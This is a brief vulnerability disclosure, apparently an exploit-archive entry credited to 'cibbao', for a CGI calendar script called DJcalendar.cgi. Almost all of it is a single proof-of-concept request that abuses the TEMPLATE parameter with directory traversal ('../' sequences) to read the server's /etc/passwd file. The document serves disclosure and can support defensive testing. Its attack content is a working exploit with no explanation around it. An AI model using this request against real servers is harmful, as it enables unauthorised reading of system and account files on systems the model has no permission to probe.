Discovered by cibbao

PoC:

/cgi-bin/DJcalendar.cgi?TEMPLATE=/../../../../../../../etc/passwd